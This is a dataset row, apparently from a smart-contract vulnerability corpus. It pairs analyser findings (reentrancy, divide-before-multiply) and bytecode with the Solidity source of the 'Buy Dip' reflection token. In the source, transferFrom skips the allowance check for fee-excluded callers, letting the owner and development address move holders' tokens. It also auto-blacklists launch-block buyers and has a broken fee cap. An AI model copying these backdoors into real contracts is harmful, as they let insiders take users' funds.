0e2557506015546001600160a01b03848116911614155b15610e3257506000610eac565b6015546001600160a01b038581169116148015610e5d57506014546001600160a01b03848116911614155b15610e6f57600854600c55600954600d555b6015546001600160a01b038481169116148015610e9a57506014546001600160a01b03858116911614155b15610eac57600a54600c55600b54600d555b610eb88484848461119a565b50505050565b60008184841115610ee25760405162461bcd60e51b81526004016105849190611750565b506000610eef8486611969565b95945050505050565b6012546001600160a01b03166108fc610f1d6008610f178560096111c8565b9061120a565b6040518115909202916000818181858888f19350505050158015610f45573d6000803e3d6000fd5b506013546001600160a01b03166108fc610f656001610f178560096111c8565b6040518115909202916000818181858888f193505050501580156105f5573d6000803e3d6000fd5b6000600654821115610ff45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610584565b6000610ffe611289565b905061100a83826111c8565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110595761105961190a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110ad57600080fd5b505afa1580156110c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e59190611980565b816001815181106110f8576110f861190a565b6001600160a01b03928316602091820292909201015260145461111e9130911684610925565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061115790859060009086903090429060040161199d565b600060405180830381600087803b15801561117157600080fd5b505af1158015611185573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806111a7576111a76112ac565b6111b28484846112da565b80610eb857610eb8600e54600c55600f54600d55565b600061100a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d1565b6000826112195750600061060a565b60006112258385611a0e565b9050826112328583611a2d565b1461100a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610584565b60008060006112966113ff565b90925090506112a582826111c8565b9250505090565b600c541580156112bc5750600d54155b156112c357565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806112ec8761143f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061131e908761149c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134d90866114de565b6001600160a01b03891660009081526002602052604090205561136f8161153d565b6113798483611587565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113be91815260200190565b60405180910390a3505050505050505050565b600081836113f25760405162461bcd60e51b81526004016105849190611750565b506000610eef8486611a2d565b6006546000908190670de0b6b3a764000061141a82826111c8565b82101561143657505060065492670de0b6b3a764000092509050565b90939092509050565b600080600080600080600080600061145c8a600c54600d546115ab565b925092509250600061146c611289565b9050600080600061147f8e878787611600565b919e509c509a509598509396509194505050505091939550919395565b600061100a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ebe565b6000806114eb8385611951565b90508381101561100a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610584565b6000611547611289565b90506000611555838361120a565b3060009081526002602052604090205490915061157290826114de565b30600090815260026020526040902055505050565b600654611594908361149c565b6006556007546115a490826114de565b6007555050565b60008080806115c560646115bf898961120a565b906111c8565b905060006115d860646115bf8a8961120a565b905060006115f0826115ea8b8661149c565b9061149c565b9992985090965090945050505050565b600080808061160f888661120a565b9050600061161d888761120a565b9050600061162b888861120a565b9050600061163d826115ea868661149c565b939b939a50919850919650505050505050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461071d57600080fd5b803561168681611666565b919050565b6000602080838503121561169e57600080fd5b823567ffffffffffffffff808211156116b657600080fd5b818501915085601f8301126116ca57600080fd5b8135818111156116dc576116dc611650565b8060051b604051601f19603f8301168101818110858211171561170157611701611650565b60405291825284820192508381018501918883111561171f57600080fd5b938501935b82851015611744576117358561167b565b84529385019392850192611724565b98975050505050505050565b600060208083528351808285015260005b8181101561177d57858101830151858201604001528201611761565b8181111561178f576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156117b857600080fd5b82356117c381611666565b946020939093013593505050565b6000806000606084860312156117e657600080fd5b83356117f181611666565b9250602084013561180181611666565b929592945050506040919091013590565b60006020828403121561182457600080fd5b5035919050565b60006020828403121561183d57600080fd5b813561100a81611666565b60006020828403121561185a57600080fd5b8135801515811461100a57600080fd5b6000806000806080858703121561188057600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156118af57600080fd5b82356118ba81611666565b915060208301356118ca81611666565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561194a5761194a611920565b5060010190565b6000821982111561196457611964611920565b500190565b60008282101561197b5761197b611920565b500390565b60006020828403121561199257600080fd5b815161100a81611666565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119ed5784516001600160a01b0316835293830193918301916001016119c8565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611a2857611a28611920565b500290565b600082611a4a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122044146ad27c2e6c3f478e35f453e69b39a93866590c0614f622ea0557e169fdaa64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 9,895 |
0xcac74a9da761d1ac65064a12100d90d6b15191a1 | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BuyDip is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Buy Dip";//
string private constant _symbol = "ETHTO5K";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;//
uint256 private _taxFeeOnBuy = 9;//
//Sell Fee
uint256 private _redisFeeOnSell = 2;//
uint256 private _taxFeeOnSell = 10;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xfC1Cf18BC7761116941a93c9747A17D1A3407bB8);//
address payable private _marketingAddress = payable(0xfC1Cf18BC7761116941a93c9747A17D1A3407bB8);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9; //
uint256 public _maxWalletSize = 30000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000000000* 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (!_isExcludedFromFee[_msgSender()]) _approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function EnableTrading() public onlyOwner {
tradingOpen = true;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell;
uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy;
require(totalSellFee <= 25 || totalBuyFee <= 25, "Fees must be under 25%");
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%");
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610636578063dd62ed3e14610661578063ea1644d51461069e578063f2fde38b146106c7576101d7565b8063a9059cbb1461057c578063bfd79284146105b9578063c3c8cd80146105f6578063c492f0461461060d576101d7565b80638f9a55c0116100d15780638f9a55c0146104d457806395d89b41146104ff57806398a5c3151461052a578063a2a957bb14610553576101d7565b806374010ece146104555780637d1db4a51461047e5780638da5cb5b146104a9576101d7565b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f8146103c15780636fc3eaec146103ea57806370a0823114610401578063715018a61461043e576101d7565b80632fd689e314610317578063313ce5671461034257806349bd5a5e1461036d5780636b99905314610398576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd146102985780631d97b7cd146102c357806323b872dd146102da576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906131a7565b6106f0565b005b34801561021157600080fd5b5061021a61081a565b604051610227919061366d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613107565b610857565b6040516102649190613637565b60405180910390f35b34801561027957600080fd5b50610282610875565b60405161028f9190613652565b60405180910390f35b3480156102a457600080fd5b506102ad61089b565b6040516102ba91906138af565b60405180910390f35b3480156102cf57600080fd5b506102d86108ac565b005b3480156102e657600080fd5b5061030160048036038101906102fc91906130b4565b610965565b60405161030e9190613637565b60405180910390f35b34801561032357600080fd5b5061032c610a97565b60405161033991906138af565b60405180910390f35b34801561034e57600080fd5b50610357610a9d565b6040516103649190613924565b60405180910390f35b34801561037957600080fd5b50610382610aa6565b60405161038f919061361c565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061301a565b610acc565b005b3480156103cd57600080fd5b506103e860048036038101906103e391906131f0565b610bbc565b005b3480156103f657600080fd5b506103ff610c6d565b005b34801561040d57600080fd5b506104286004803603810190610423919061301a565b610d3e565b60405161043591906138af565b60405180910390f35b34801561044a57600080fd5b50610453610d8f565b005b34801561046157600080fd5b5061047c6004803603810190610477919061321d565b610ee2565b005b34801561048a57600080fd5b50610493610fda565b6040516104a091906138af565b60405180910390f35b3480156104b557600080fd5b506104be610fe0565b6040516104cb919061361c565b60405180910390f35b3480156104e057600080fd5b506104e9611009565b6040516104f691906138af565b60405180910390f35b34801561050b57600080fd5b5061051461100f565b604051610521919061366d565b60405180910390f35b34801561053657600080fd5b50610551600480360381019061054c919061321d565b61104c565b005b34801561055f57600080fd5b5061057a6004803603810190610575919061324a565b6110eb565b005b34801561058857600080fd5b506105a3600480360381019061059e9190613107565b611214565b6040516105b09190613637565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db919061301a565b611232565b6040516105ed9190613637565b60405180910390f35b34801561060257600080fd5b5061060b611252565b005b34801561061957600080fd5b50610634600480360381019061062f9190613147565b61132b565b005b34801561064257600080fd5b5061064b611465565b60405161065891906138af565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613074565b61146b565b60405161069591906138af565b60405180910390f35b3480156106aa57600080fd5b506106c560048036038101906106c0919061321d565b6114f2565b005b3480156106d357600080fd5b506106ee60048036038101906106e9919061301a565b6115ea565b005b6106f86117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c906137cf565b60405180910390fd5b60005b8151811015610816576001601160008484815181106107aa576107a9613ca2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080e90613bfb565b915050610788565b5050565b60606040518060400160405280600781526020017f4275792044697000000000000000000000000000000000000000000000000000815250905090565b600061086b6108646117ac565b84846117b4565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b6108b46117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610941576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610938906137cf565b60405180910390fd5b6001601660146101000a81548160ff02191690831515021790555043600881905550565b600061097284848461197f565b6005600061097e6117ac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610a8c57610a8b846109d66117ac565b610a868560405180606001604052806028815260200161421760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a3c6117ac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123539092919063ffffffff16565b6117b4565b5b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ad46117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b58906137cf565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610bc46117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c48906137cf565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cae6117ac565b73ffffffffffffffffffffffffffffffffffffffff161480610d245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d0c6117ac565b73ffffffffffffffffffffffffffffffffffffffff16145b610d2d57600080fd5b6000479050610d3b816123b7565b50565b6000610d88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b2565b9050919050565b610d976117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1b906137cf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610eea6117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6e906137cf565b60405180910390fd5b6103e8683635c9adc5dea00000610f8e9190613a3b565b811015610fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc79061388f565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60185481565b60606040518060400160405280600781526020017f455448544f354b00000000000000000000000000000000000000000000000000815250905090565b6110546117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d8906137cf565b60405180910390fd5b8060198190555050565b6110f36117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611180576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611177906137cf565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c81905550600081846111aa91906139e5565b9050600083866111ba91906139e5565b90506019821115806111cd575060198111155b61120c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112039061378f565b60405180910390fd5b505050505050565b60006112286112216117ac565b848461197f565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112936117ac565b73ffffffffffffffffffffffffffffffffffffffff1614806113095750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112f16117ac565b73ffffffffffffffffffffffffffffffffffffffff16145b61131257600080fd5b600061131d30610d3e565b905061132881612520565b50565b6113336117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b7906137cf565b60405180910390fd5b60005b8383905081101561145f5781600560008686858181106113e6576113e5613ca2565b5b90506020020160208101906113fb919061301a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061145790613bfb565b9150506113c3565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114fa6117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611587576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157e906137cf565b60405180910390fd5b6103e8683635c9adc5dea0000061159e9190613a3b565b8110156115e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d79061386f565b60405180910390fd5b8060188190555050565b6115f26117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461167f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611676906137cf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e69061370f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffff